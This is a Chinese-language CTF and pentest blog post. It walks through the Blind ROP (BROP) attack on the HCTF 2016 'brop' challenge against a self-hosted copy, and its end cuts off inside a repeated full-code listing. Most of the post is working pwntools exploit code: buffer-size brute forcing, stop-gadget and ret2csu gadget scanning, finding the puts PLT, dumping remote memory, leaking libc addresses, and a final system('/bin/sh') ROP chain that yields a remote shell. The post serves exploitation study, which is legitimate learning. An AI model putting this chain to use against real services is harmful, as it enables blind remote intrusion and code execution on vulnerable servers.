BROP 攻击技术 | PWN

渗透技巧 2年前 (2022) admin
1,048 0 0

简介

brop 是一项非常巧妙的技术,在无法获取到二进制程序和 libc 的情况下进行远程溢出,利用了诸多 Linux 系统本身的特性,值得深入研究研究,即使只是为了好玩

BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLRNX 和栈 canary 的 64-bit Linux。这一概念是在 2014 年提出的,论文和幻灯片在参考资料中。

实现这一攻击有两个必要条件:

  1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它

  2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。

本文主要参考:
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html

这是一个非常优秀的项目,本文对其中的部分内容进行了优化

关于堆栈各种保护技术(canary、NX、ASLR)可以参考:

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/4.4_gcc_sec.html

环境搭建

下面以 2016 年的 hctf 中的一道题 brop 来进行演示

比赛中未提供二进制程序和 libc ,仅仅是提供了 IP 和 端口

好在比赛后,出题人提供了源代码

https://github.com/zh-explorer/hctf2016-brop

和文章中一样,我们将其编译并使用 socat 进行环境模拟

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int i;
int check();

int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

puts("WelCome my friend,Do you know password?");
if(!check()) {
puts("Do not dump my memory");
} else {
puts("No password, no game");
}
}

int check() {
char buf[50];
read(STDIN_FILENO, buf, 1024);
return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

编译

gcc -z noexecstack -fno-stack-protector -no-pie brop.c

checksec 查看各种安全机制

checksec a.out

BROP 攻击技术 | PWN

可以看到, canary 未开启,开启了 NX

socat 部署远程连接环境

由于 socat 在程序崩溃时会断开连接,我们写一个小脚本,这里直接借用文章中的代码,让程序在崩溃后立即重启,这样就模拟出了远程环境 127.0.0.1:10001

#!/bin/sh
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 5 ]; then
socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
fi
done

这里没有使用 ctf_xinetd 也间接导致了我消耗两周左右的时间来研究其中的一些问题,问题从我这里直接看就好了,大家复现的时候可以使用 ctf_xinetd ,可以尝试将其中的 Dockerfile 中 ubuntu 16.04 改成 18.04 试一试

可以参考

https://bbs.pediy.com/thread-228385.htm

我们保存以上脚本为 con.sh,配合  nohup,我们直接执行 nohup bash con.sh &

这里需要注意, socat 在 Ubuntu 中不是自带的,需要使用 sudo apt update & sudo apt install socat 来进行安装

操作系统

操作系统选择 Ubuntu Server 18.04 64位

经过以上操作,我们已经部署好环境,简单使用 nc 来连接一下,看看 banner 和 功能

BROP 攻击技术 | PWN

输入密码这里也就是我们的溢出点

溢出攻击

栈溢出基础可以从下面的链接进行学习

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.3_stack_overflow.html

溢出攻击使用 Python3 + pwntools 来进行

pwntools 可以直接通过 pip 来进行安装,安装前建议升级 pip 版本,升级方法如下:

  • wget https://bootstrap.pypa.io/get-pip.py 

  • python3 get-pip.py

安装 pwntools

  • pip3 install pwntools

验证安装是否成功

BROP 攻击技术 | PWN

执行 from pwn import * 没有报错,说明安装应该没有问题

确定填充字符

BROP 攻击技术 | PWN

由于我们已经知道目标程序没有开启 canary ,所以就不需要暴力破解canary了,我们只需要向缓冲区提交数据,当数据中的最后一个字符刚好破坏了返回地址的第一个字节的时候程序就崩溃了,这个时候我们就能确定需要填充的字符数量了

如果开启了canary,那么在我们的数据覆盖返回地址前会覆盖 canary,当覆盖 canary 的第一个字节的时候,程序就会崩溃,除非我们使用填充的字节正好就是原来canary的第一个字节

听到这里你应该就明白爆破 canary 的方法了,没错,就是一位一位爆破,每一位最多 256 个结果,总共最多也就是 256 * 8 = 2048 次尝试就可以把 canary 爆破出来

def get_buf_size():
for i in range(1000):
# time.sleep(0.5)
payload = b'a' * (i + 1)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("%d is not enough", i)
except EOFError as e:
r.close()
log.info("buf_size: %d",i)
return i

这个脚本是 Python3 版本的,和文章中提供的 Python2 版本基本相同,这里需要注意的是, Python3 中 bytes 和 str 的区别更加明显了,我们提交给服务器的内容是 bytes 类型的,所以需要在字符串前加 b 来将字符串转换为 bytes ,如下:

payload= b'a' * (i + 1)

BROP 攻击技术 | PWN

可以获取到 buf_size: 72 也就是需要填充 72 个字符,后面跟上我们要下一步执行的指令的地址就会执行

获取 stop gadget

其实为啥要获取 stop_gadget 或者说啥是 stop_gadget 原文章说的很清楚,但是我猜到很多兄弟不会去看原文章,所以我在这里再啰嗦啰嗦

我们一没有二进制文件,二没有 libc 版本,一切只能靠盲打探测某个地址的指令是什么作用,也就是把 RIP 指向这个地址,那这样的话,肯定绝大多数地址的指令会把程序干崩溃了,还有一部分虽然执行了一些有意义的指令,但是执行完后还是要顺序去执行使程序崩溃的指令,我们统称为 bad gadget ,多么朴实无华的名字。在我们远程连接的情况下看到的都是程序断开了连接

所以为了让那些我们需要的 gadget (一部分指令组成),我们需要找到一个地址,只要执行到这个地址就会让程序挂起,或者俗话说卡在那里了,但是连接不会断开,也就是说能够保证在这个地址前的指令执行的结果能够通过连接顺利反馈给我们,之后连接也不会断开。

其实这种 stop_gadget 很多,比如函数入口什么的

能想到这种招的人真的不简单呀,佩服

根据上面的描述,使用如下 Python3 代码:

# 这个函数用来获取 stop_gadget 的地址
# 所谓 stop_gadget 就是那些一旦执行到这个地址就会挂起而不会报错的程序
def get_stop_gadget(buf_size, start_addr=0x400000):
stop_gadget = start_addr
while True:
time.sleep(0.5)
stop_gadget += 1
payload = b'a' * buf_size + p64(stop_gadget)

try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("find one stop gadget: 0x%x", stop_gadget)
return stop_gadget
except EOFError as e:
r.close()
log.info("not 0x%x, try harder!", stop_gadget)
except Exception:
log.info("connect error")
stop_gadget -= 1

这里和原文章代码也没啥区别,也就是 Python2 和 Python3 关于 bytes 的差异

获取 main 的地址

这一步是原文没有的,也是我认为可以改进的地方

这里说获取 main 的地址是不准确的,准确的说是获取一个地址,一旦执行到这个地址就会打印程序开始输出的那串字符: WelCome my friend,Do you know password?

如果从程序的基地址 0x400000 开始寻找的话,按照 Linux ELF执行的顺序,优先找到的肯定是 _start 函数,所以这里也可以说是寻找 _start 函数,对于我们的需求来说,找到 _start 和 找到  main 是一样的

既然我们已经找到了 stop_gadget,那么我们就可以把 stop_gadget 的地址放在我们要遍历的地址的下一条指令,这样以便能够获取被遍历的地址的返回结果。但是 _start 函数本身就是一个 stop_gadget,所以我们在这一步就不放置 stop_gadget 了

# 这个函数用来获取 main 函数的地址
# main 函数执行后打印的前几个字符是 WelCome
# 经过测试,我发现其实程序会先走到 _start 函数或者其他这种代码中,也是能够实现 main 的效果,这就够了
def get_main_addr(buf_size, start_addr=0x400000):
main_addr = start_addr
while True:
time.sleep(0.5)
main_addr += 1
# main_addr = 0x400677
payload = b'a' * buf_size + p64(main_addr)

try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
# print(resp)
r.close()
log.info("find one stop gadget: 0x%x", main_addr)

if resp.startswith(b'WelCome'):
log.info("main addr: 0x%x", main_addr)
return main_addr
except EOFError as e:
r.close()
log.info("not 0x%x, try harder", main_addr)
except Exception:
log.info("connect error")
main_addr -= 1

这里还是需要注意,Python3 中pwntools 的 recv 类函数收到的结果是 bytes 类型的,好在 bytes 类型也有 startswith 函数,只不过要在字符前加上 b

这里要注意一点,不知道是出题人故意耍我们还是对英文的理解不深,Welcome 非要写成 WelCome

获取 useful gadget

所谓 useful gadget 就是指我们所需要的 gadget

在 x64 的 Linux 用户空间环境中,参数都是通过寄存器来实现的,具体如下:

内核接口

内核接口使用的寄存器有rdirsirdxr10r8r9。系统调用通过syscall指令完成。除了rcxr11rax,其他的寄存器都被保留。系统调用的编号必须在寄存器 rax 中传递。系统调用的参数限制为6个,不直接从堆栈上传递任何参数。返回时,rax 中包含了系统调用的结果,而且只有 INTEGER 或者 MEMORY 类型的值才会被传递给内核。

用户接口

x86-64 下通过寄存器传递参数,这样做比通过栈具有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是 MEMORY,则在栈上传递参数。如果类型是INTEGER,则顺序使用 rdirsirdxrcxr8 和 r9。所以如果有多于 6 个的 INTEGER 参数,则后面的参数在栈上传递。

什么是 useful gadget 取决于你要利用哪个函数做哪些事,在 BROP 的攻击中基本上都是利用 write 函数和 puts 函数来 dump 内存,具体怎么 dump 一会儿再说,先说这两个函数:

puts

#include <stdio.h>

int puts(const char *s);

puts 函数就一个参数,所以按照用户接口的函数调用约定,只需要在 rdi 寄存器中设置参数就可以了,那我们需要的 useful gadget 就是 pop rdi; ret ,这个 gadget 的意思就是将栈顶的内容存储到 rdi 寄存器中,之后再将更新后的栈顶的地址存储到 RIP 寄存器中,之后系统就会执行 RIP 寄存器中存储的地址所指向的指令

write

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

write 函数共有三个参数,所以按照用户接口的函数调用约定,需要分别在 rdi、rsi、rdx分别设置参数,那么需要的useful gadget 就比较复杂了,可以分别找到 pop rdi;retpop rsi;retpop rdx; ret,这三个顺序可以变化,赋值顺序也跟着变就好了,当然也可以进行一些组合,比如 pop rdi;pop rsi;retpop rdx;ret ,当然了,如果你可以直接找到 pop rdi;pop rsi; pop rdx;ret 那就算你牛好了

比较起来,还是 puts 函数容易得多,由于 gcc 在编译 c 代码的过程中,对只有一个参数的 printf 函数有一项优化,也就是使用 puts 函数来替换 printf 函数,所以在有输出的程序中使用了 puts 的可能性还是挺大的。我记得有人提过,这题目好像还提示了使用 puts,所以接下来也都是以 puts 函数来进行接下来的一系列攻击

如果你想看 write 函数可以参考 乌云知识库 中的文章:

http://drops.leesec.com/#!/drops/353.Blind%20Return%20Oriented%20Programming%20(BROP)%20Attack%20-%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86

所以获取 useful gadget 的过程就是寻找 pop rdi;ret 的过程了,这个 gadget 可以在通用 gadget 中找到,什么是通用 gadget 呢?就是一段在所有的 Linux 程序中都会存在的 gadget ,但是地址是不确定的,这样的可用的 gadget 有两块,我把他们粘贴过来:

第一块

   0x000000000040082a <+90>:    5b      pop    rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret

第二块

   0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14
0x0000000000400816 <+70>: 44 89 ef mov edi,r13d
0x0000000000400819 <+73>: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
0x000000000040081d <+77>: 48 83 c3 01 add rbx,0x1
0x0000000000400821 <+81>: 48 39 dd cmp rbp,rbx
0x0000000000400824 <+84>: 75 ea jne 0x400810 <__libc_csu_init+64>
0x0000000000400826 <+86>: 48 83 c4 08 add rsp,0x8
0x000000000040082a <+90>: 5b pop rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret

关于通用 gadget 的妙用可以参考:

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/4.7_common_gadget.html

这里我们只使用第一块,直接看的话是找不到我们要的 pop rdi;ret 的指令

我们可以去下面这个在线网站查询一下我们需要的 gadget 的字节码是多少

https://defuse.ca/online-x86-assembler.htm#disassembly

BROP 攻击技术 | PWN

可以看到是 5f c3 ,这时我们在看第一块通用 gadget

BROP 攻击技术 | PWN

最后两条指令 pop r15;ret 所对应的字节码是 41 5f c3,如果我们把指针的位置调整一下,从 5f 开始解析,那么我们就可以获取到 5f c3 ,也就是 useful gadget 了

所以现在获取 useful gadget 的任务变成了获取第一块通过 gadget 的地址

通过 gadget 这连续的六个 pop 就可以作为我们筛选的条件了,具体 Python3 的代码如下:

# 这个函数获取 pop rdi; ret ,主要是使用 ret2csu
def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x400000):
useful_gadget = start_addr
stop_gadget = stop_gadget
main_addr = main_addr

while True:
time.sleep(0.5)
useful_gadget += 1

payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
r.close()
log.info("find one stop_gadget: 0x%x", useful_gadget)

if resp.startswith(b'WelCome'):
try:
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
except EOFError as e:
r.close()
log.info("find useful gadget: 0x%x", useful_gadget)
return useful_gadget

except EOFError as e:
r.close()
log.info("not 0x%x,try harder", useful_gadget)

except Exception:
log.info("connect error")
useful_gadget -= 1

这里获取通过 gadget 地址的方法不止一种,就看你对通用 gadget 这段汇编代码的理解了

如果你真的看了上面这段代码,你可能会担心,如果遍历的地址遍历到 main_addr 是不是会导致我们的判断条件失效,其实不会,如果遍历到 main_addr , 就会进入下面的这个判定条件

if resp.startswith(b'WelCome'):
try:
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
except EOFError as e:
r.close()
log.info("find useful gadget: 0x%x", useful_gadget)
return useful_gadget

由于 main_addr 是一个 stop_gadget ,所以不会导致 EOFError 错误,所以不存在判断条件失效的情况

当我们获取到第一段通用 gadget 后,我们将 useful gadget 的地址就设定为第一段 gadget 的地址,那么 pop rdi;ret 的地址就是 useful gadget + 9

寻找 puts 函数的 plt

现在我们已经可以控制 rdi 这个寄存器了,所以我们可以给 puts 提供参数,如果参数是可控的并且已知的,我们从基地址开始遍历,如果执行到某个地址的指令真的把我们提供的参数打印了出来,那么这个地址就是 puts 的 plt 地址了

如果再获取到 puts 的 plt 地址,我们就可以利用 puts 函数将程序的内存空间中每一个地址的内容都打印出来,这样就可以通过分析获取一些其他内容,这个后面再说

我们虽然可以控制参数,但是我们只能传递一个地址进去,没有办法传递什么字符串之类的,所以我们必须知道某一个地址的内容

如果你看过我的 Linux ELF人间清醒的总结,你肯定知道 Linux ELF文件最开始的几个字节是 Linux 的模数,是固定的字符 x7fELF ,也就是说 0x400000 地址存储的内容是字符 x7fELF 那么就以这个地址为参数,看看遍历到哪个地址的时候会打印出  x7fELF

python3 代码如下:

# 这个函数用来获取 puts 函数的 plt 地址
# 0x400000 这个地址的值是 x7fELF ,我们可以利用这个特点遍历 puts 的 plt

def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400000):
pop_rdi_ret = useful_gadget + 9
elf_magic_addr = 0x400000
puts_plt = start_addr

while True:
# time.sleep(0.5)
puts_plt += 1
# puts_plt = 0x400550
payload = b'a' * buf_size + p64(pop_rdi_ret) + p64(elf_magic_addr) + p64(puts_plt) + p64(main_addr)

try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp1 = r.recvline(timeout=0.5)
resp2 = r.recvline(timeout=0.5)
# print(resp1)
# print(resp2)
# print(resp1.startswith(b'x7fELF'))
# print(resp2.startswith(b'WelCome'))

# log.info("find one stop gadget: 0x%x", puts_plt)

if resp1.startswith(b'x7fELF') and resp2.startswith(b'WelCome'):
r.close()
log.info("puts_plt: 0x%x", puts_plt)
return puts_plt
r.close()
log.info("find one stop gadget: 0x%x", puts_plt)

except EOFError as e:
r.close()
log.info("not 0x%x, try harder", puts_plt)

except Exception:
log.info("connect error")
puts_plt -= 1


这里我们使用 main_addr 来作为 stop_gadget 的作用,同时可以增加一层判定,更准确一些

经过上面的代码,我们可以获取到 puts 的 plt 地址

dump 内存

有了 puts 的 plt 地址我们就可以调用 puts 函数来打印每一个地址的内容了,我们用它来 dump 内存

为什么要 dump 内存,dump 内存的意义何在呢?

想想我们最终想要的是什么?其实是 getshell ,那么就需要 system 函数和 /bin/sh 字符串的地址,这个地址在 libc 中,我们虽然获取到了 puts 的 plt 地址,但是并没有获取到 puts 的 got 地址,puts 的 got 中保存着 puts 函数的实际地址,也就是说我们没有获取到目标主机上 libc 加载到内存中后 puts 的实际地址,那么也就无法获取到 libc 的地址,也就无法进一步获取 system 函数和 /bin/sh 字符串的地址

所以啥也不用说了,dump 内存,找 puts 的 got

如果对 plt 和 got 不了解的,可以去查看之前我发的 Linux ELF 人间清醒的总结

dump 内存这块还是有讲究的,这里参照原文章的描述

puts 函数通过 x00 进行截断,并且会在每一次输出末尾加上换行符 x0a,所以有一些特殊情况需要做一些处理,比如单独的 x00x0a 等,首先当然是先去掉末尾 puts 自动加上的 n,然后如果 recv 到一个 n,说明内存中是 x00,如果 recv 到一个 nn,说明内存中是 x0ap.recv(timeout=0.1) 是由于函数本身的设定,如果有 nn,它很可能在收到第一个 n 时就返回了,加上参数可以让它全部接收完。

# 这个函数用来 dump 内存
def dump_memory(buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=0x401000):
pop_rdi_ret = useful_gadget + 9

result = b''
while start_addr < end_addr:
sleep(0.3)
# start_addr = 0x400038
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadget)

try:
r = remote(IP, PORT)
r.recvline()
r.sendline(payload)
resp1 = r.recv(timeout=0.5)
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
# if start_addr == 0x40003e: # and start_addr <= 0x40003b:
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp1 or b'').hex()))
# exit()


if resp1 == b'n':
resp = b'x00'
elif resp1[-1:] == b'n':
log.info("[tail]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
resp = resp1[:-1] + b'x00'
else:
resp =resp1

if resp != resp1:
log.info("[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % (start_addr, (resp1 or b'').hex(), start_addr, (resp or b'').hex()))

log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
result += resp
start_addr += len(resp)
r.close()
except Exception as e:
print(e)
log.info("connect error")

return result


我们主程序获取 result 后以二进制形式写入到文件就可以了

注意!!!

这个破地方简直就是玄学,将原文章中的 Python2中的代码变成 Python3 ,将 str 变成 bytes 后,内存会成功 dump 下来,但是时而能够正常解析,时而不能。

学过编程都知道,如果你的程序无法正常跑起来,那你肯定是有 bug,你只需要找到它解决就好了,但是如果一个 bug 时而存在,时而不存在,那就完了,需要耗费老长时间去解决了,前前后后我测试了两周才解决所有问题

下面是我的一些个解决思路:

最开始肯定是比对 Python2 dump生成的文件和 Python3 dump 生成的文件有啥不同,使用 xxd 来进行比对,也没有发现啥不同呀

后来我怀疑是 send 和 sendline 或者 recv 和 recvline 导致的,所以我就疯狂切换这几种函数,但是因为时而会触发bug,时而不会触发 bug,所以必须找到触发 bug 的时候才知道不是因为这几个函数的问题

问题是每次 dump 内存都很慢,使用 socat 搭建环境要用10多分钟

排除这几个函数后,我猜测是 timeout 时间不够长,之后又测试,也不是

之后又把 stop_gadget 换成 main_addr ,这时候就已经开始相信玄学了

无果

我怀疑是环境问题,这就很玄学,明明 Python2 执行就没问题,但还是尝试了一下 Ubuntu 16.04 由于 Ubuntu 16.04 环境下安装 pwntools 版本上有些小问题,Python3 安装可以,好像是 Python2 安装不太行,所以就只测试了 Python3 ,还是不太行,但是因为 Python2 版本的无法安装测试,也就不知道是不是 Python2 也不行

接下来使用  ctf_xinetd 搭建环境进行测试

你还别说, ctf_xinetd 搭建出来的环境比较稳定,不需要 time.sleep() 。Python2和 Python3 都没问题

我还特意测试了三次左右,都没有出问题

那么我相当于站在道德和时间的十字路口了,如果使用  ctf_xinetd 来搭建环境,来写文章,就没有什么问题了,一切OK,因为我特意用 dump 下来的文件找到了 puts 的 GOT,之后进行了一系列操作成功获取了 shell 

但是实际生产环境又不可能用  ctf_xinetd 来搭建

最后还是选择了尊重事实嘛,一切以实际为主

下面就只剩下一种测试方法了,也就是笨方法,先找到 Python2 最少dump 多少个字节可以成功解析,这个大概测试就可以, 300 个字节足以

那么下面我就分别使用 Python2 和 Python3 dump 300 个字节内存到文件中,之后记录下每次 recv() 的字节内存的 16 进制,挨个字节比较,看看到底哪里不同

BROP 攻击技术 | PWN

BROP 攻击技术 | PWN

当我把 300 个字节都看完,并进一步输出验证后发现主要是 Python2 中会把 0a 转为 00,而 Python3 不会

而且每次dump内存的时候,发生这种事情的地址还都不一样

所以也就是不好定位,明明 Python2 和 Python3 的代码都一样

# Python2
if data == "n":
data = "x00"
elif data[-1] == "n":
data = data[:-1]
# Python3
if data == b"n":
data = b"x00"
elif data[-1] == b"n":
data = data[:-1]

我们都知道 0x0a 也就是  n ,那么就说明 Python3 中 elif data[-1] == b"n": 这一步有问题,我在这个判定条件下,也就是 data = data[:-1] 前加了一条 print()

之后执行了一遍发现,果然这条 print 代码没有被执行

经过我的测试 Python2 和 Python3 在对 bytes 类型的切片处理上是有不同的

BROP 攻击技术 | PWN

BROP 攻击技术 | PWN

注意看 Python3 ,按照 Python2 b[-1] 这样切片的话,得到的并不是最后一个字节,想要获取最后一个字节需要 b1[-1:]

哎呀我去,浪费我多少时间!!!

最后就修改成了我提供的代码

获取 puts 的 GOT

这里需要一个工具叫 Radare2 ,可以使用 apt 来进行安装

sudo apt install radare2

r2 -B 0x400000 code.dump

0x400000 是指定的基地址,code.dump 是 dump 下来的内存文件

BROP 攻击技术 | PWN

之后我们使用下面的命令定位到 puts 的 plt

pd 14 @ 0x400545

其中 0x400545 就是我们 puts 的 plt 地址

BROP 攻击技术 | PWN

如果你了解 got/plt 机制大概能够看出来,puts 的 got 地址是 0x00601018

puts 的 got 中存储着 puts 函数的实际地址

获取 system 函数和 /bin/sh 的地址

虽然我们可以通过使用 puts_plt 来打印 puts_got 的内容,但是我们没有目标使用的 libc ,如果目标开启了 ASLR,那么无法通过偏移来计算出 system 函数和 /bin/sh的地址

在 Linux 的 ASLR 中有一些缺陷,并不是完全的内存地址随机,据很多文章缩写,内存地址的末尾 12 bit 的内容是不随机的,也就是说我们可以先获取 puts 的 got 中的地址,之后获取最后 3 位左右,之后和所有的 libc 版本的地址进行比较,看看能匹配哪一个

都是什么神仙能发现这种事情,佩服

先获取 puts 的 got 中保存的地址吧

# 这个函数用来获取 puts 函数的内存地址
def get_puts_addr(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9

payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)


try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'x00x00')

offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a

# system_addr = puts_addr - offset_puts + offset_system
# bin_sh_addr = puts_addr - offset_puts + offset_bin_sh
#
# payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
# payload += p64(pop_rdi_ret)
# payload += p64(bin_sh_addr)
# payload += p64(system_addr)
# payload += p64(stop_gadget)

# r.recvline()
# r.sendline(payload)
# r.interactive()

r.close()
log.info("puts_addr: 0x%x", puts_addr)
return puts_addr
except Exception as e:
print(e)
log.info("connect error")

BROP 攻击技术 | PWN

由于我们开启了 aslr ,所以每次地址都不同

接下来我们需要去进行比对了,这么成熟的技术想想也知道肯定有人已经准备好了工具去查询各种 libc 版本,这里推荐一个在线网站

https://libc.rip/

BROP 攻击技术 | PWN

由于我们之前都已经默认认为目标是 64位 系统了,所以这里我们直接关注 64 位的 libc就可以了(其实应该在最开始判断一下是 32位还是64位的)

  • libc6_2.27-3ubuntu1.4_amd64

  • libc6_2.27-3ubuntu1.3_amd64

经过测试,这两个 libc 中 system 函数和 /bin/sh 的偏移是相同的

我们点击一下,我们常用的函数的地址就出来了

BROP 攻击技术 | PWN

这样我们就获取到了 system 函数和 /bin/sh 相对于 puts libc起始地址的偏移 ,libc的起始地址 = puts_addr – puts_offset

获取 shell

注意!!!!

这个点非常非常重要,但是非常简单,本来我们获取到各种地址后,就跟常规的 ROP 没有什么区别了,也就是调用 system 函数

但是刚才我们也看到了, puts 函数的地址每次连接都是变化的,也就是说我们获取后,打开网站,确定 libc,根据偏移确定地址后,下一次连接地址都会变化,这是因为 ASLR 导致的,那计算后的肯定也不对了

原文章代码有如下标记

BROP 攻击技术 | PWN

突破 ASLR

必须关闭 ASLR ???

如果这种攻击一定要对方关闭 ASLR ,那还攻击个锤子,现在系统都默认开启 ASLR 了,顿时觉得前面几天研究都没用了

但是我思考了一下,既然每次连接的时候都会重新设置 libc 的基地址,也就是 puts 每次都变化,那么我获取 puts 的地址后不断开连接,直接计算偏移,之后继续使用这个连接进行ROP getshell 不就可以了吗

修改 get_puts_addr 函数为 getshell 函数

# 这个函数用来获取 shell
def get_shell(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9

payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)


try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'x00x00')

offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a

system_addr = puts_addr - offset_puts + offset_system
bin_sh_addr = puts_addr - offset_puts + offset_bin_sh

payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)

r.recvline()
r.sendline(payload)
r.interactive()

# log.info("puts_addr: 0x%x", puts_addr)
return puts_addr
except Exception as e:
print(e)
log.info("connect error")

执行一下:

BROP 攻击技术 | PWN

执行没有成功

内存对其检查

这里就涉及另一个知识点了

Ubuntu 18.04 及以后版本中会对内存对其进行检查,如果你在做其他ROP的时候如果使用了 Ubuntu 18.04 也会遇到这个问题,调试会发现程序卡在下一条指令处:

movaps XMMWORD PTR [rsp+0x40],xmm0

这个时候只需要在填充字符和后面的 payload 之间加一个 ret 就可以解决

寻找 ret 地址

我们可以通过 dump 内存的方法去获取 ret 的地址,我思考了一下,其实有更简单的方法

从通用 gadget 中去截取

我们找的 pop rdi;ret 的字节码是 5f 3c ,起始地址是 useful + 9 ,那么 ret 的地址不就是 useful + 10 嘛

所以最后调整我们 getshell 函数的内容

# 这个函数用来获取 shell
def get_shell(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9

payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)


try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'x00x00')

offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a

system_addr = puts_addr - offset_puts + offset_system
bin_sh_addr = puts_addr - offset_puts + offset_bin_sh

payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
payload += p64(useful_gadget + 10)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)

r.recvline()
r.sendline(payload)
r.interactive()

# log.info("puts_addr: 0x%x", puts_addr)
return puts_addr
except Exception as e:
print(e)
log.info("connect error")

BROP 攻击技术 | PWN

成功getshell 

完整代码

from pwn import * 
import time


# 这个函数用来获取填充字符数量
def get_buf_size():
for i in range(1000):
# time.sleep(0.5)
payload = b'a' * (i + 1)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("%d is not enough", i)
except EOFError as e:
r.close()
log.info("buf_size: %d",i)
return i

# 这个函数用来获取 stop_gadget 的地址
# 所谓 stop_gadget 就是那些一旦执行到这个地址就会挂起而不会报错的程序
def get_stop_gadget(buf_size, start_addr=0x400000):
stop_gadget = start_addr
while True:
# time.sleep(0.5)
stop_gadget += 1
payload = b'a' * buf_size + p64(stop_gadget)

try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("find one stop gadget: 0x%x", stop_gadget)
return stop_gadget
except EOFError as e:
r.close()
log.info("not 0x%x, try harder!", stop_gadget)
except Exception:
log.info("connect error")
stop_gadget -= 1

# 这个函数用来获取 main 函数的地址
# main 函数的前几个字符是 WelCome
# 经过测试,我发现其实程序会先走到 _start 函数或者其他这种代码中,也是能够实现 main 的效果,这就够了
def get_main_addr(buf_size, start_addr=0x400000):
main_addr = start_addr
while True:
# time.sleep(0.5)
main_addr += 1
# main_addr = 0x400677
payload = b'a' * buf_size + p64(main_addr)

try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
# print(resp)
r.close()
log.info("find one stop gadget: 0x%x", main_addr)

if resp.startswith(b'WelCome'):
log.info("main addr: 0x%x", main_addr)
return main_addr
except EOFError as e:
r.close()
